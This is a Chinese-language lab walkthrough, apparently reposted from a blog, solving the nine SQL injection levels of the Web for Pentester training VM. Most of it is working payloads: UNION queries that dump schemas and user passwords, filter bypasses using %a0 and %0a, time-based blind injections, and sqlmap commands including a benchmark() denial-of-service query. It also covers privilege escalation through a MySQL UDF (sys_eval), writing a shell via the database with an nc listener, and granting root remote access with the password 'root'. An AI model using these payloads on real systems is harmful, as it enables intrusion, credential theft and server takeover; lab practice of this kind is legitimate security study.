web_for_pentester_sql注入1-9

数据库MySQL

靶机系统Debian 6

实验环境 web_pentester

手工注入

发现是 ’ 闭合

判断有几个回显

admin’ order by 5--+ 发现有5个回显

查看显示位置

0’ union select 1,2,3,4,5--+ 这里第一个数值不一定是0,只要是数据库不存在的数值就行

发现回显是1,2,3

admin' union select 1,2,(select group_concat(schema_name) from information_schema.schemata),4,5--+ 获取的数据库

admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5--+  'exercises'   这里的database可以换成exercises    获取库中的表名

admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4,5--+  获取表中的字段

admin' union select id,name,passwd,4,5 from users--+     获取字段内容

Sqlmap工具注入

Sqlmap用于 mysql中DDOS攻击

sqlmap -u "url" --sql-shell

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

sqlmap -u 'url' 查看是否能注入

sqlmap -u "url" --dbs 查找数据库

sqlmap -u "url" -D user --tables  (假如数据库名为user)

sqlmap -u "url" -D user -T exercises --columns  (假如表为exercises)

 sqlmap -u "url" -D user -T exercises -C "name,passwd" --dump  获取字段地值

Mysql开启远程连接(对于这个靶场来说没什么用)

vim /etc/mysql/my.cnf   将里面地bind-address = 127.0.0.1  删掉或者注释掉或者改为0.0.0.0

当然这里也可以改端口号,这里就不说了

登录mysql

mysql -u root -p root

允许任何人来远程连接

grant all on *.*  to root@'%' identified by 'root' with grant option;

这句话意思是用户名为root 密码为root的都可以进行远程连接

然后重新启动mysql服务器就行了

service mysql restart

查看数据库中的这个表(注意以下操作数据库用户都是root权限,权限比较大)

SHOW VARIABLES LIKE "secure_file_priv";

里面如果为NULL就说明不能上传文件,如果为路径就可以在指定路径上传文件

如果里面为空则说明里面可以上传文件,就可以使用udf或者把shell写入到数据库然后用数据库输出文件将shell反弹提权(但是这样需要该文件夹有任何人读写的权限)

获取这个靶场的目录只需要将 url ?后面的东西去掉就可以了

我觉得可能是权限问题,我用数据库写入文件不能成功,我改了下权限在试试

数据库写入文件成功

 

我在试试udf

找到插件的位置

show variables like "%plugin%";

我的是   /usr/lib/mysql/plugin

看来其他用户也没有写入文件的权限,赋予其他用户权限后发现可以上传文件了

 

文件地址https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

 create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';

select sys_eval('pwd');

就可以了

还有一种就是利用数据库读写文件了,写入shell文件之后,使用

nc -lvp 4444(我设置的端口号为4444)

查看内核版

 

查找下是否有内核溢出漏洞

 

编译的时候需要加上pthread

 

然后虽然编辑出来了程序但是不能执行报出以下错误,希望大佬看见能指出问题

 

然后暴力破解我就不试了,我自己的靶场暴力破解就没意义了

第二关

查看源码是过滤掉了空格

root'%a0and%an1=1%23 %a0叫做不间断空格,其他可以做空格的 --,#,//,/**/,%09,%0a,%0c,%0d,%0b

本次使用的将空格改为 %a0  然后使用老三样语句

root'%a0union%a0select%a01,2,3,4,5%23

root'%a0union%a0select%a01,2,(select%a0group_concat(schema_name)from%a0information_schema.schemata),4,5%23

root'%a0union%a0select%a01,(select%a0group_concat(table_name)from%a0information_schema.tables%a0where%a0table_schema=database()),3,4,5%23

root'%a0union%a0select%a01,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='users'),3,4,5%23

admin'%a0union%a0select%a0id,name,passwd,4,5%a0from%a0users%23

第三关

查看代码

过滤了空格与制表符,但还是可以绕过

语句同上一关一样

root'%a0union%a0select%a01,2,3,4,5%23

root'%a0union%a0select%a01,2,(select%a0group_concat(schema_name)from%a0information_schema.schemata),4,5%23

root'%a0union%a0select%a01,2,(select%a0group_concat(table_name)from%a0information_schema.tables%a0where%a0table_schema%a0=%a0database()),4,5%23

root'%a0union%a0select%a01,(select%a0group_concat(column_name)from%a0information_schema.columns%a0where%a0table_name="users"),3,4,5%23

其实这些语句可以合起来查找不必一句一句的,但是合起来查找的话如果出现错误会比较难找毕竟写错一个字符就出不来结果

要是懒得话可以使用万能语句    root'or'1'='1#  

第四关

函数mysql_real_escape_string()函数转义sql语句中使用得字符串得特殊字符。这些字符受影响 x00, . ,\,',",xla

对于我们受影响的是  '  符号,所以不用 '  就行了

并且在执行查询得时候,mysql会进行强制类型转化。

union select 1,2,3,4,5#

union select 1,2,(select group_concat(schema_name) from information_schema.schemata),4,5%23

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5#

union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3,4,5#

第五关

输入的id必须是0-9之间的,我们之前就是使用的0-9所以这关与上一关的payload一样

union select 1,(select group_concat(schema_name)from information_schema.schemata),(select group_concat(table_name)from information_schema.tables where table_schema=database()),4,5#

union select 1,(select group_concat(column_name)from information_schema.columns where table_name=0x7573657273),3,4,5#

第六关

要求输入的参数是以0-9结尾

所以在payload后面加个数字就行了

union select 1,2,(select group_concat(schema_name)from information_schema.schemata),4,5%23 1

union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema = database()),4,5%23 1

union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='users'),4,5%23 1

第七关

这里正则表达式表示开始和结束的字符串是一个数字,还分别匹配其中的换行符的之前和之后,所以采用换行符绕过它的换行符绕过

id=1%0aunion%0aselect%0a1,2,(select%0agroup_concat(schema_name)from%0ainformation_schema.schemata),4,5%23

id=1%0aunion%0aselect%0a1,2,(select%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema=database()),4,5%23

id=1%0aunion%0aselect%0a1,2,(select%0agroup_concat(column_name)from%0ainformation_schema.columns%0awhere%0atable_name='users'),4,5%23

第八关

能看出来的就是使用的`闭合,而且语句中不能使用order

我是除了报错注入没有别的法了(菜鸡实锤了)

`%20xor%20if(ascii(substring(user(),1,1))=111,sleep(5),0)%23

然后我用sqlmap跑了一下看了一下工具怎么注入的发现是这样的

我随便截取了俩条发现他是一个一个字符判断的,并且使用的二分法来高效处理

order=name`=`name` AND 8237=(SELECT (CASE WHEN (ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS NCHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),10,1))>96) THEN 8237 ELSE (SELECT 9015 UNION SELECT 9115) END))--

order=name`=`name` AND 8237=(SELECT (CASE WHEN (ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS NCHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),10,1))>48) THEN 8237 ELSE (SELECT 9015 UNION SELECT 9115) END))--

这说明不用order或者时间盲注也可以进行注入

第九关

这个与第八关除了闭合不一样没看出什么区别

payload就是把第八关的`去掉就行

%20xor%20if(ascii(substring(user(),1,1))=111,sleep(5),0)%23

原文地址:https://www.cnblogs.com/zhao-yang/p/13731812.html